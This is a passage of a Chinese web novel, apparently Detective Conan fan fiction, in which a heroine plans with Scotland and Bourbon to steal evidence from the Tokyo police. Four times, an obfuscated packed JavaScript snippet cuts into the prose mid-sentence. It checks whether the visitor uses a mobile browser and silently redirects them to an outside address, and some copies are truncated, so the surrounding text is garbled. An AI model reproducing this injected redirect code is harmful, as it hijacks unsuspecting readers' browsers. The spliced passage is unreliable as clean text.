她点评道:“那种沉不住气的人,被捕本来就只是时间问题……” 说了半句话之后,白羽响的话停了下来,带着探究的目光看了一眼波本。 要不是他今天提起这件事,她都快忘了,新闻里说那个抢劫犯被捕的时间正是两天前。也就是说,他在刚刚走出组织的接头地点没一会儿就被人盯上并逮捕了。 难道说…… “不会吧。”白羽响侧过脑袋,有些不敢置信地问,“你把他送给了警方?” 他该不会是觉得新人们都扶不上墙,合作起来可能暴露情报,于是反手把人拿去给什么组织培养的黑警“做了业绩”吧? 她原本以为波本提这事是为了敲打她,可组织里的人越来越肆无忌惮,还真有可能做出这种事。 波本拆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939482|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼的动作顿了顿,抬眼看向她,眼底带着几分无奈的笑意:“怎么你也这么觉得?” “还有谁这么觉得?”白羽响顺着话茬往下问,脑子里飞快过着名单,那天在接头地点、她认识且能和波本搭话的,只有一个人,“苏格兰?” 波本没有顺畅地给出白羽响想要的答案,但他默认了,然后总算说出了正事。 “最近有一个任务,需要你接触一份新的工作,这是老板的名片。”波本简单地说着话,递过去了一张名片,“在那之前,我会安排你和你的任务搭档接触。” 新任务?她喜欢。 白羽响眼睛一亮,接过了波本手中的名片,最关心的还是实际问题:“有钱拿吗?” 她现在正缺钱还账,巴不得多接任务。 名片上写着“富浦居酒屋”,老板名叫富浦一郎。 “很遗憾,是一份‘临时工’,没有多少额外报酬。”波本也跟着她一同笑了起来,“不过也有好消息,任务搭档你已经见过了,是苏格兰。任务很简单,你只需要配合他的行动,把他取得的东西送出工作地点——最好是光明正大地、镇定地送出去,其他的都不用管。” 光听他这么说,似乎是个相当轻松的活。 白羽响有些诧异:“你不去?” 波本说道:“我有事,不过我会尽力赶到的。” 白羽响心里瞬间松了口气,甚至生出几分期待。从前还是响酒时,她和苏格兰搭档过很长时间,后来苏格兰拿到代号拆伙单干了,她还觉得可惜。如今能再续前缘,对她来说倒是个意外之喜。 这顿饭结束,波本开着车把她送回了安全屋。 车子停在巷口,白羽响正准备推开车门,突然想起什么,转头对波本说:“等过几天的任务结束后,我打算换一处新的安全屋。催债的人来过附近,继续待着不安全。” 她完全没有向波本求助的意思,纯粹只是告知。 波本点了点头,目光落在她攥着车门把手的手上:“债务的压力大吗?” 她抬眼看向波本:“你说呢?” “别生气,我只是关心一下。”波本摆出一副无辜的面孔,“下次分赃的时候,我会记得多分些给你的。” 白羽响收回了已经搭在车门上的手,嘴角勾起一抹似笑非笑的弧度。 波本不会觉得她应该对“多分赃”这种画饼一样的话感恩戴德吧? 前几天提分赃,那是为了争取应得的报酬,和债务根本没关系。 而且三番五次地提让她不爽的事,实在是让人火大。她要让他知道,说这种话是要付出代价的。 “这么关心我,又连着请我吃三天饭。”她突然朝波本凑近,几乎把唇贴到他耳侧,声音带着几分戏谑,“波本先生这是打算帮我还债?” 话音刚落,只听“嗒”的一声轻响。波本手腕上那块价值不菲的名牌手表,已被白羽响轻巧地摘了下来,稳稳握在手中。 波本愣了一下,眼底闪过一丝惊讶。 刚才白羽响的目光明明一直落在他脸上,竟还能分神完成这个动作,手速快得让他都没反应过来。 他很快收回了惊讶的神情,倒也不生气,而是笑了笑说道:“没想到你还有这种本事,看来还债的事是我多虑了。” 白羽响举起手表,借着车顶的灯光打量。在灯光的照耀下,表带正在闪闪发光,诉说着它价值不菲。 “这点东西对组织里大名鼎鼎的波本来说,一定只是九牛一毛——”她满意地挑了挑眉,随手将手表塞进外套口袋,“但对我来说,可就是救命之财了。” 宣告完胜利,她朝着波本晃了晃手,说了句“谢谢”,便推开车门,潇洒地走进了暗巷。 波本坐在车内,眼神兀自停在自己的手腕上。 她果然比他想的要老练。 这对于苏格兰的任务来说,究竟算是好事还是坏事呢? 10. 一起回安全屋吧 波本请她吃饭的第二天,白羽响去了一趟富浦居酒屋,应聘了兼职的工作。 工作的内容很轻松,除了休息日的晚班以外,工作日只需要配合老板进行采买和分拣食材。 她很快就结束了上午的工作,不到中午的时候就回到了安全屋。 大概中午的时候,她收到了一条来自波本的见面短信。 “下午五点半,米花中央公园。” 字数很少,传递的信息却很明确。 白羽响搁下手机,来到了化妆镜前,打开水龙头,看着镜中的自己。 几天过去,她已经逐渐习惯了这张脸孔。她将用这张脸和苏格兰再次碰面、再次联手,一想到这些,她竟然有些五味杂陈。 到现在,她也不能完全接受关于响酒的一切,像一部被封存的录像带般,变成了过去式。 她既不能和苏格兰袒露自己的身份,也做不到装成完全陌生的人和他相处。这种尺度,比上次在车上简单对答几句难得多——苏格兰与自己搭档的时间超过了一年,彼此的熟悉度,远不是只合作了几次任务的波本能比的。 接短信前,她还自以为做好了万全准备,可真到临头,紧张与酸涩还是像潮水般涌上来。但她很快深吸一口气,压下翻涌的情绪。 抛开过往,现在最重要的是辅助苏格兰完成任务。 接头自然是越不引人注目越好,她简单将长发扎成高马尾,戴上鸭舌帽压了压帽檐,转身出了门。 傍晚五点半,夕阳把米花中央公园的长椅染成橘色,白羽响到达了约定地点,目光扫过约定的区域,却没看到波本的身影。斜阳之下,一个穿黑色休闲外套的男人,背对着她站在水域边,身形熟悉得让她心头一紧。 是苏格兰。 她下意识放慢脚步。 按她的设想,这种任务对接,要么是苏格兰直接联系她约定地点,要么是波本陪同在场,却从没想过是波本转达消息,只有他们两人单独见面。 走近些后,她才看清苏格兰的模样。 黑色休闲外套熨得平整,领口微微敞开,头发梳理得整齐,显然在出门之前特地收拾过。 听到脚步声,苏格兰回过头来,同她打了个招呼。他看起来精神比前两天好了许多,只是带着几分不易察觉的拘谨。 “今天只有我们两个人?”白羽响向他确认。 苏格兰点了点头,喉结轻轻滚动了一下,没再多说。他一向比较安静,只有在熟悉的人面前才会多话。 水面的波光在苏格兰的眼眸中摇晃,白羽响陪他静立在水边,一时半会儿不知道要怎么开口。他们曾并肩作战一年多,心底早就有了心照不宣的在意,可现在因为身份的改变,连一句自然的问候都成了奢望。 她收拾着心情,率先打破沉默,尽量让语气显得自然:“边走边聊?” 提议得到了苏格兰的首肯,二人从米花中央公园离开,沿着街道一路缓慢地走着。夕阳的余晖把他们的影子拉得很长,却又始终隔着距离。 “你想吃点什么吗?”走了半晌,苏格兰突然开口,声音带着几分小心翼翼的试探。 白羽响知道这是苏格兰的一种暗示,他们应该找一个安静的地方确认任务的细节,但她不知为何,脑子里闪过了一丝奇妙的念头。 怎么听着像约会一样。 嘴角不自觉微微上翘了一瞬,随即又压了下去。 她想起以前,不在任务期时,他们几乎恪守着互不打扰的底线,私下一起吃饭的次数寥寥无几。某次蹲点饿得不行了,苏格兰给她分了一半三明治,两个人大街上啃,又落魄又可怜。那个三明治带着苏格兰的体温,虽然被压得扁扁的,火腿和生菜的味道却格外清晰,成了她记忆里最好吃的三明治。 “去我的安全屋吧。”白羽响突然停下脚步,转过身看着苏格兰,笑着发出邀请,“谈完了事,我请你吃夜宵。” 苏格兰也跟着停下脚步,看着她的笑意,明显愣了一下,随即又多了几分犹豫。 两秒后,他才轻声开口,好心地提醒她:“组织成员一般……不会共享自己的安全屋给别人。” 熟悉的边界感,带着疏离和礼貌,这就是苏格兰一贯给人的印象。即使帮着组织做了再多的脏事,他看起来也不像是个穷凶极恶之徒。 “我知道。” 白羽响点了点头,扭过头状似无心地看了看周围的环境。 昏黄的灯光下,一对推着自行车的情侣走过二人身边,吵嘴的时候不知说了什么,跟在后面的女孩气得去拉男孩的帽子,然后两个人一同嬉笑着跑开了。 那鲜活的互动像一根细针,轻轻戳了戳两人之间紧绷的氛围。白羽响收回目光,再次看向苏格兰:“你来不来?” 这次,苏格兰没有再犹豫,点了点头。 白羽响的安全屋离得并不远,走上几条小巷便到了。她掏出钥匙打开门,按下墙上的开关。啪的一声,灯亮了,映出了她几十平米的小窝。 苏格兰踏进了她的临时住所后就站在了门边。地板上散落着未拆的纸箱,各种东西滚在一旁,还有几件叠得歪歪扭扭的衣服,简直算得上是一片狼藉。 “没收拾。”白羽响拖过一个懒人沙发,示意他坐下,“你不介意吧。” “不会。”苏格兰轻声回应。 但凡懂点人情世故,都不会在这时说“介意”。何况眼前的杂乱反而让他觉得放松。他的目光扫到地上滚出袋口的蜡烛,下意识伸手捡起来,轻轻塞回原本的袋子里,动作自然得仿佛并不是来做客的。 白羽响看在眼里,没说什么。 从前搭档时,他就是这样,总习惯默默收拾好杂乱的东西。 她转身到厨房切了小半个柠檬,泡了杯柠檬水端过来,又拖过阳台上的老旧摇椅,在他身侧坐下,摇椅轻轻晃着,发出细微的“咯吱”声。 苏格兰喝了一口水,终于和她说起了关于任务的事。 “这次任务的目标是潜入警视厅盗取案件证物。” 只这一句话,就让空气瞬间紧绷。 白羽响捏着杯子的手微微用力,带着不可置信的目光,确认了苏格兰不是在和她开玩笑后,神色都垮了下来。 贼进警视厅偷东西? 这任务的风险,比她预想中高得多。 她猛地想起昨天波本交代任务时的模样,三言两语,将任务说得如此简单,绝口不提“潜入警局”和“盗取证物”,而且他自己还不参与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她记得苏格兰以前确实有吸烟的习惯,可已经很久没有抽了。如今再看到他拿烟,竟有种恍如隔世的错觉,心里又酸又涩。 那会儿,她怎么劝他戒烟来着的?她都快不记得了,只记得苏格兰戒了很久,一直反复着,断断续续的,直到一年前才差不多戒干净。 盯着烟盒看了两秒,她伸出手:“就在这儿吧,给我也来一根。” 明明最厌恶烟味,可故人相逢不能相认,还要面临着地狱难度的任务,哪件事都不能让她提起劲来,她现在只想借着烟雾缭绕的功夫驱散心中的郁结。 苏格兰愣了一下,捏着烟盒的手顿在半空。他缓缓抽出一支烟,却没有递到白羽响的手上,而是连着自己原本抽出来的那根也一同收回盒子里。 “你吝啬这个?”白羽响笑着调侃他。 “不会。”苏格兰跟着她一同笑了起来,“但你这儿挺干净的,算了。” 安全屋本就杂乱,哪来的有“干净”可言? 白羽响看着他垂眸时的苦涩笑意,心中升腾出一丝猜测。 苏格兰重新开始抽烟,不会是最近几天才开始的吧? 11. 与苏格兰的夜宵 夜色像墨汁般晕染开来,安全屋周围叮叮当当的噪音已经几乎消失不见,就连远处的车流声都变得稀疏。 白羽响和苏格兰坐在安全屋里,已经对着一张计划书讨论了近四个小时。纸张上的标记被反复涂改,关键路线和警戒点都已敲定,窗外的天色早已彻底黑透。 “差不多就这样吧。” 苏格兰收起笔,指尖揉了揉眉心,语气里带着一丝不易察觉的疲惫。上一个任务没结束多久,他还没来得及休息,就投入了下一个任务的准备,眼底泛着淡淡的青色。 白羽响点点头,再次记忆了一遍细节之后,拿出火柴,将它点燃。 火苗舔舐着纸张的边缘,发出了滋啦滋啦的响声。红色的热浪映在了她的眼眸之中,记忆仿佛回到了仓库爆.炸的那个夜晚,高温将一切都变得扭曲,直到她的意识消失殆尽。 “我要回去了。” 在安静的火光中,苏格兰这样说了一句。 白羽响回过神,将手中燃烧的纸扔在了脚下的金属盆里。 她想起了今晚将苏格兰带来这里的初衷。 ——银座街角那家贵得要命的拉面店就要关门了。 ——你不是说最近会回米花町?再一起去吃一次吧。 那天晚上,那条没得到回复的消息,对于她来说是一种遗憾。 现在她也没法带着苏格兰去吃那家拉面店了。在她“死”后的这段时间,那家曾经让两个人都觉得“贵但还吃”的拉面店,终究没能撑下去,彻底关门了。 “去吃点什么吧?”她发出了邀请,“这里附近有一家拉面店会开到半夜,做夜宵的生意,客人不多,比较清净。” 今天晚上他俩都没吃晚饭,她不信苏格兰肚子不饿。 面对这个邀请,苏格兰犹豫了一两秒,点了点头:“好。” 两人并肩走出安全屋,沿着人行道慢慢走着。夜风吹起白羽响的长发,她下意识地将头发别到耳后,朝着那家拉面店走去。 这是她搬来的那天偶然发现的店,就在安全屋附近。最近天热,没拉门帘,深夜路过,能闻到淡淡的面香,只是她还暂时没空去光顾。 她与苏格兰坐下之后,看了一眼菜单,点了一碗叉烧拉面之后,又将菜单递给了苏格兰。 他接过来,匆匆看了一眼说道:“两份一样的就好。” 将菜单送还之后,白羽响看了看周围的环境。这里的装修有些简陋,与银座那家精致的拉面店截然不同,价格也亲民的多,也不知道味道究竟如何。 面很快端了上来,热气腾腾的汤汁冒着白烟,叉烧的香气扑面而来。白羽响拿起筷子,夹起一筷子面条送进嘴里,刚咀嚼了两下,眉头就微微蹙了起来。 不好吃。 虽然闻着挺香,但面条煮得有些软烂,缺乏韧性,汤汁的咸淡也失衡,叉烧的肉质偏柴,远不及当年那家店的口感。她心里顿时涌上一股强烈的抱歉感,手里的筷子都顿了顿。 她拉着苏格兰吃这碗面,纯粹是想替死去的自己,给那个没能等到回复的约定一个交代。 这本是她的一种“弥补”,可是……最后却只带他吃了一碗这么难吃的面。 想到这里,她的心头顿时不是滋味,默默搁下了筷子。 “怎么了?”苏格兰注意到她神色的变化,也停手问了一声。 “没什么。”白羽响扯出了一丝笑意,“好像不太美味,你不嫌弃吧?” 苏格兰看向她碗里没动多少的面条,又低头看了看自己碗里的,拿起筷子继续吃了起来,咀嚼的动作很从容,甚至还拿起勺子喝了一口汤汁,脸上没有丝毫嫌弃的神色,反而吃得很香。 “不会。”他说,“深夜能吃到热腾腾的面,已经很好了。” 他似乎真的对这碗面的味道如何并不在意。 白羽响垂下目光,在心中暗暗地叹了口气,也跟着苏格兰的动作舀了一勺汤。 浓郁的汤汁在勺子里晃动着,映出了一盏天花板上发亮的顶灯。热气氤氲中,耳边回荡着店内清晰碗筷的声音,偶尔传来店主和店员们的闲聊声,不安静,但也有一种久违的踏实。 在她开口与苏格兰说明真相之前,这份遗憾是无法真正弥补的。但是……此时此刻,他能坐在她的对面,吃上一碗热乎的拉面,哪怕味道不尽人意,或许也已经是最好的交代了。 苏格兰是对的,这碗面也没有那么难吃。 这个晚上,她跟着苏格兰一起,将这碗拉面吃得干干净净。 任务在即,这个晚上她几乎没怎么睡,第二天醒来,她继续前往了富浦居酒屋。 波本不会无缘无故地给她找这样的一份兼职,直到昨天苏格兰与她沟通任务的时候,她才明白了其中的原因。 这店虽小,却占了绝佳位置,就在警视厅周围的小巷里。 往来客人里十有八九是警员,偶尔还能撞见他们围坐一桌商讨案情,也难怪生意不算红火,却能在这条巷子里撑这么多年。 这是个观察的好机会,她决定用工作来冲淡一下难以入眠时的忧思。 当白羽响向富浦老板提出想要工作一整天的时候,老板的脸上露出了无比惊讶的表情。显然在他的心中,白羽响已经和三天打鱼两天晒网画上了等号。 于是,从正式入职的这天开始,她这段时间过得很规律。 每天早上八点半,她拿着富浦老板给的清单去食材市场采买,推着小推车路过警视厅侧门,总会放慢脚步。她会记下班警换岗的精准时间,看保洁员推着清洁车进出的固定路线,甚至摸清了侧门监控的盲区角度。这些细节都被她悄悄记在随身的小本子上。 到了晚上,她会戴上口罩留在后厨给富浦老板打下手,偶尔也负责出去上酒菜。这家店生意不算红火,生意都集中在警员们下班了以后,甚至还能打听些情报。 比如在这里工作的第二天,她就遇上了一桩大生意——某个警员的庆功宴。十几个人围坐在店内,点了一大桶啤酒和不少小菜。 被人围坐在中间的是个身材魁梧的年轻男人显然是这场庆功宴的主角,他被众人称为“鸭志田”或是“英君”。 白羽响听了一耳朵,顿时觉得“鸭志田英”这个名字似乎在哪里见过。于是她故意走出了厨房,借着给他们倒酒的功夫,竖起耳朵来听。 旁边有人正说着:“鸭志田君独立抓捕了珠宝店抢劫犯,真是让人羡慕的功劳啊。” “是啊,鸭志田君刚从辖区转到搜查一课就立下了大功,可以说是前途无量啊。”有个人勾着鸭志田的肩喝酒,转头又对着身边一个长相漂亮干练的女人说道,“佐藤,我记得你们是同期吧?听说你当初的成绩数一数二,碾压了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两天的人员基本重合,但也有一两个有变动,她从中推测管理并不严格。 鉴于这个情况,她猜想警视厅的清扫工作是外包给保洁公司的。这么看,混入其中的机会很大。 等白羽响盘算完这些,富浦老板还没有要宣布下班的意思,这让白羽响皱了皱眉。时间指向了九点半,居酒屋已经将近半个小时没有生意了。 她也是要休息和调整的,何况这个任务也给了她不小的压力。 于是,她再次给富浦老板倒了一杯柠檬水,瞟了一眼他手中的账本,刺探一下他算完账了没。 “有一位喜欢喝冰角瓶威士忌加苏打水的客人,每次来的时候都比别人晚。”意识到白羽响的目光后,富浦老板回过头来和她解释原因,“虽然他一个礼拜只来一到两次,但是我习惯等到这个点再下班。” 白羽响当即点点头,表示明白了。 和老板相熟的常客相当于半个朋友,每天多等半个小时理所当然。 “他可是个帅哥。”富浦老板对白羽响说起这件事时,脸上的赘肉都变得生动了些,带着点揶揄,“还是那种一看就很有故事的帅哥,你一定喜欢,跟你郎才女貌的。” 白羽响忍俊不禁。 组织里不缺俊男美女,她见的也不少。不过能得到同性这样的表扬,想来这位熟客的长相确实不俗。 她还挺想见见的。 “说起来,明天晚上八点半以后我刚好有事,白羽你能独自看一个小时的店吗?”富浦老板说着笑了起来,“说不定就被你碰见了呢。” 白羽响应了下来。 反正最近的时间都在静默和观察,她本也闲着没事做。 12.松田vs居酒屋女招待 白羽响没有想到,富浦老板的话竟然迅速地应验了。 第二天晚上,她在店里忙到晚上八点多,陪富浦老板送走最后一桌客人。在富浦老板离开之后,她又擦了吧台、算好账,学着富浦老板的样子,在吧台上百无聊赖地喝着柠檬水。 正惬意的时候,门口的风铃突然响了。 夜风裹着点凉意钻进来,跟着进来个穿黑色风衣的男人。 白羽响看了他一眼。 他戴着墨镜,嘴角叼着根没点燃的烟,头也不抬地在手机上打着什么字,似乎在和什么人聊天。他完全没看周围,径直走向最里面的吧台位,拉开椅子坐下,既没点单,也没抬头,周身透着股生人勿近的慵懒。 白羽响几乎一眼就确定这就是富浦老板口中那位“很有故事”的熟客。 微卷的长发遮住半副墨镜,却不显邋遢,反而添了几分落拓不羁;黑色风衣衬得他肩线挺拔,明明是少年气的脸,却被烟和墨镜衬出几分成熟的沉郁。这种矛盾的反差在他身上格外和谐,就算走在大街上,也让人忍不住多看两眼。 确实是让人印象深刻的类型。 事实上,她也确实见过这个人。 这几天观察警视厅时她见过这个人出入,他应该是一名警员。 只是不知为何,下班几个小时之后,他又折返回了警视厅的附近。 白羽响没与他套近乎,按照富浦的叮嘱,转身从酒柜取下角瓶威士忌,加冰、兑苏打水,动作麻利地调好,轻轻推到他面前:“角瓶威士忌加冰和苏打水。” 听到陌生的女声,男人终于抬了头。 他摘下了墨镜,露出双带着倦意却格外清亮的桃花眼,目光在白羽响脸上停留了两秒,带着些笑意,开玩笑般地问道:“老板换人了?” 说话间,他将那根烟点燃,却没急着抽,只是搁置在一边。 “富浦老板有事,我临时替他看会儿店。”白羽响解释着,转身从后厨端了碟盐渍毛豆和一小盘炸鸡块过来,放在他手边,“老板的特别叮嘱,空肚子喝酒伤胃。” “谢谢。”男人拿起筷子,轻轻拨弄着翠绿豆子上的盐粒。 他夹起一颗毛豆,手腕微微一转,豆荚顺着纹路“啪”地裂开,豆仁滚进碟子里,连沾在荚上的盐粒都没带下来,动作轻巧得像在摆弄什么精密的小玩意儿。嚼着豆仁的间隙,他又拿起手机,指尖在屏幕上翻飞,单手打字的速度快得惊人,仿佛那些按键早已刻进了骨子里。 白羽响盯着他的动作,不由赞叹:“你的手真巧。” 男人闻言,嘴角勾了勾,没接话,只是端起酒杯抿了口,带着丝慵懒。冰块在杯底轻轻晃动,发出些许清脆的响声。 他很快处理完手机里的事,将手机倒扣在吧台,目光落在对面的酒柜上。手中的酒已经喝完了一半,他像是在发呆,又像是在琢磨什么难办的事。 “工作不顺利?”白羽响看着他的模样猜测。 “嗯,碰上了棘手的旧账。”男人简单地解释,没有多说。 白羽响识趣地没再搭话,只是坐在旁边的高脚凳上,翻着自己的观察小本子。刚刚没有客人的那会儿,她在上面画了侧门监控的简易草图,为任务的逃跑路线做准备。 “老板要求你手写账本?”他单手提着酒杯,语气里带着点笑意。 “那倒没有。”白羽响挑了挑眉,撒谎时语气自然得像真有这么回事,“是我自己的习惯。我会记录了一些常客的爱好,下次推荐酒品的时候会方便一些。” “然后偷偷给每个顾客起别名?” 白羽响合上本子,将它塞进围裙口袋:“差不多吧。” 两个人说着,笑了起来。 过了会儿,他喝完最后一口酒,将杯子推到吧台中间,掏出钱放在旁边,数额刚好比酒钱多一些。白羽响合上了自己记录用的本子,站起身打算送一送他。 “你比富浦慷慨。”他拿起墨镜重新戴上,含住了那根燃了一会儿的烟,“他从不送鸡块。” 告别之后,他转身推门走出店。风铃“叮铃”响了一声,他的风衣下摆扫过门槛,消失在了夜色之中。 这场萍水相逢来得突然,去得无声。 白羽响将富浦居酒屋落锁,回到了安全屋中。 折腾了几天,事情总算有些眉目。她的手机中静静地躺着几张地图,是苏格兰给她发来的,看来他也顺利潜入了警视厅内部。 白羽响对着那几张地图翻看,很快就记住了大致内容。她躺在沙发椅中,意识渐渐沉沦。 她在黑暗中看见了苏格兰的脸。 那双熟悉的眼睛变得冰冷而绝情,黑漆漆的枪洞指着她的眉心。 “叛徒。” 他的声音很轻,却甩不开一般跟着她的意识而行。 她想辩解,却毫无力气,就好像喉口都被人扼住。 身体先于意识动了起来,在一片没有尽头的苍白之中奔逃。身后的脚步声在背后不疾不徐地追赶,似乎永远都只差那么点距离。 她在奔逃中上了一辆车,开着车一路飞驰,经过了皮斯科的宅邸。写在门口的“枡山”的两个字被血染红,庭院中的尸体七倒八歪,她还来不及细看,就听见了狙.击枪的响声。 她只得继续逃跑,在路的镜头用车头撞破了一扇生锈的铁门,映入眼帘的是一个巨大的仓库。 空旷、破败……熟悉。 仓库中央,停着一辆车,保时捷356A,被惨淡的背景衬托得像是一口沉默的棺材。 一个更冷、更熟悉的声音带着嘲弄的意味响了起来,气息好似拂过她的脖颈—— “你想跑到哪里去?响酒。” 银发在空中飘动,电子音响了起来,随后是一声巨大的爆炸声。 白羽响猛然从沙发上弹了起来,心脏疯狂地擂动胸腔。隔音不好的老旧住宅区此时竟一片死寂,只剩她的喘息声。 她盯着手机屏幕透出的微光,瞬间反应过来——刚才惊醒她的不是缠人的噩梦,而是手机的电子音铃声。 指尖带着刚从梦魇中挣脱的颤抖,她两次伸手才稳稳抓住手机,按亮屏幕的瞬间,她意识到是苏格兰的来电,她没接到。 冰冷的感觉依稀在耳旁回响,她抹了一把自己的脸,强行让自己分清楚梦魇与现实。 苏格兰向来体贴稳妥,从不会在半夜无故来电,必然出了紧急情况。 想到这里,她不等胸腔的悸动平复些许,就将电话再次打了回去。 “白羽小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943892|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,出了特殊情况。”苏格兰的嗓音从电话那头传来,“我们今晚要碰个面。” 白羽响的心头猛然沉了下去,不好的预感攫住了她。 一定是出意外了。 但她不能慌。 不管出了什么事,她都得稳得住,把这个任务做好。强大的心态就是对彼此来说最大的保障。 苏格兰来到她的安全屋周围的时候,已经是凌晨四点以后了。 没有星光,也没有晨光破晓的预兆。远处十字路口的红绿灯还在规律地闪烁,投来几缕微弱的光。 九月中旬的夜里已经有点凉了。 苏格兰的脚步声踏着黑暗而来,白羽响打开安全屋的门迎他进来时,看到他单薄的深色外套上沾着夜露。 “你走了很长的路?”白羽响随口问了一句。 “一小段。”苏格兰顺口答道。 这是天最黑、也最静的时候。连平日里叽叽喳喳的麻雀都还没醒,老旧水管里偶尔传来的滴水声,衬得这片住宅区一片死寂。 “出事了?”她关上了门问道。 从噩梦中惊醒的那十几分钟,她像从高空无措坠落;可此刻见到苏格兰,一颗悬着的心却骤然落地,仿佛稳稳着陆在了柔软的草地上。 明知任务出了状况,她现在心里却异常安宁。 “警方要将那份物证要转移去研究院。”苏格兰言简意赅,“我们动手的地点可能要变更。而且,时间很紧,后天就要动手。” “那是好事啊!”白羽响的眼睛亮了亮,语气难掩轻快,“路上动手,难度可比潜入警视厅小多了。” 转移物证,这多半是从内部传出来的消息。苏格兰之前的猜测没错,警方内部有组织的人。 苏格兰的神色微微一顿,显然是没想到她会给出这样的反应。 他还以为,对于一个新人来说,这种具有危险性的任务,会希望计划越周全越好,最好就是按部就班,不出乱子。在过来传递这个消息之前,他甚至做好了最坏的准备——万一她不肯配合,自己还要临时想其他的办法。 “怎么?”白羽响问道,“难道……你在担心这个任务?” 他并非担心任务,而是担心她难以适应突发状况。 不过这话苏格兰没有说出口,他思考了几秒说道:“还是得想办法潜入警视厅。我们至少要知道是哪辆车负责送物证。” 白羽响忽然露出一抹明媚的笑意:“那这件事就交给我了。” 说着,她转身打开一旁的抽屉,指尖勾住一根细带,缓缓向外抽出——带子的尽头,是一张印着保洁公司logo的工作卡。 “今天打工的地方要我独自看店,多得了一个上午的假期。”她晃了晃手里的工作卡,眼底闪着狡黠的光,“就趁这功夫,我从保洁公司后门潜进去,顺了这张卡。” 看到她眼里的光亮与毫无怯意的笑容,苏格兰的嘴角几不可察地向上弯了弯。那弧度极淡,却像一缕微光,划破了他平日里沉稳内敛的模样。 白羽响的目光牢牢锁住那一点点柔软的弧度,心头不知不觉突然泛起一丝难以言喻的难过。 这是与苏格兰重逢以来,她第一次看到他笑。 她绝对不会让他有后顾之忧。 13.行动伊始 警视厅搜查一课的办公室里,佐藤美和子正坐在椅子上,收拾着一堆刚打印出来的材料,一边收拾,一边再次从头看一遍。 看完之后,她轻轻地放了下来,开始发呆。 这个案件的调查明明正有条不紊地进行着,但她心里觉得不安。 心脏嗵嗵地跳着,像是要将什么事诉说给她听一样。 她的直觉一向很好,关键的事情上尤甚。 “佐藤小姐,准备出发了。” 目暮十三从办公室里走出来,手中拿着两个袋子。其中一个很厚,应该是案件的卷宗,另外是一个小小的证物袋。 目的地是JAI公司,这趟行程是为了鉴定案件中的一项关键证据。 “好的,目暮警官。”回过神来的佐藤拿起了桌上的车钥匙,“我来开车。” 方向盘掌握在她的手上,会觉得安心一些。 “放松一点,佐藤小姐。”目暮警官看出了她浑身紧绷着,拍了拍她的肩膀,“只是把证物送去鉴定而已,你也是老手了。” 佐藤美和子深呼吸放松了一些,跟着笑了起来:“是。” 她灿烂的笑容仿佛艳阳一般,惹得周围一堆的男警.察偷偷看她。佐藤美和子无视了那些眼神,思绪回到了这桩案件之上。 她记得那桩案子的惨烈程度。爆.炸现场被烧得面目全非,两名死者的身份迟迟无法完全确认,唯一的线索就是这袋从受害者遗体之上或许的金属残片。 同期的鸭志田英破了珠宝抢劫案后风光无限,而他们这组却在爆.炸案里卡了十天,连尸源都没找到。 倒不是她心里嫉妒、立功心切,只是……她有些不服气。 她不喜欢鸭志田英。从入职开始,这人就喜欢过高调的日子,拉上他们这群同期炫耀自己的能力和功绩。而偏偏这样的一个人还屡屡立下功劳。 而她,还在“原地踏步”。 想起这些,佐藤的心里就升起焦虑。 这桩案件发生已经过去了十天,两名死者的身份还没完全查清,上峰的催促很急切。这份证物为他们争取了时间,但也是一条“军令状”。 启动了JAI公司那样的调查机构,就意味着此案非破不可。跟着目暮十三一路从办公室走了出来,穿过走廊,她的心还停留在一堆的卷宗之上。 “目暮警官,证物的鉴定会需要很久吗?”她问道,“三天……之类的,能出来吗?” “哈?三天?DNA的鉴定都要一个礼拜呢!”目暮十三听了她的话,眼睛都睁大了,随后安抚她道,“佐藤小姐,这事急不得。每份证物都有可能是案件的突破口,我们把它安稳地送到,相信警方的合作机构,这就够了。” 看着沉稳的上司,佐藤美和子舒展眉头应了一声,跟上了对方的步伐。 两人穿过长长的走廊时,一个穿蓝色保洁服的女人正蹲在地上擦地。目暮警官胖乎乎的身子不得不侧身让行,没留神踩住了对方的拖把。“哗啦”一声,那女人手中的拖把脱了手,一摊水溅在他的西装裤腿上。 “啊,抱歉抱歉。”目暮十三赶紧和她道歉。 “目暮警官!”佐藤美和子看了一眼对方的裤腿,又蹲下身子,轻声关心身上也被溅了一身水的保洁员,“你没事吧?这个给你,擦一擦吧。” 她递到保洁员面前的是一方手帕。 保洁员赶紧摆手表示没事,却没接她的手帕,而是从口袋里摸出干净的纸巾,凑上前作势要帮目暮十三擦干净。 “不用不用。”目暮十三接过她手上的纸巾,象征性地擦了两下,“只是湿了而已,没事的。” 佐藤看着她的动作愣了愣,无声地收回自己没递出去的手帕。 “目暮警官,裤腿湿了以后变色了,要回办公室换一下吗?”佐藤问道。 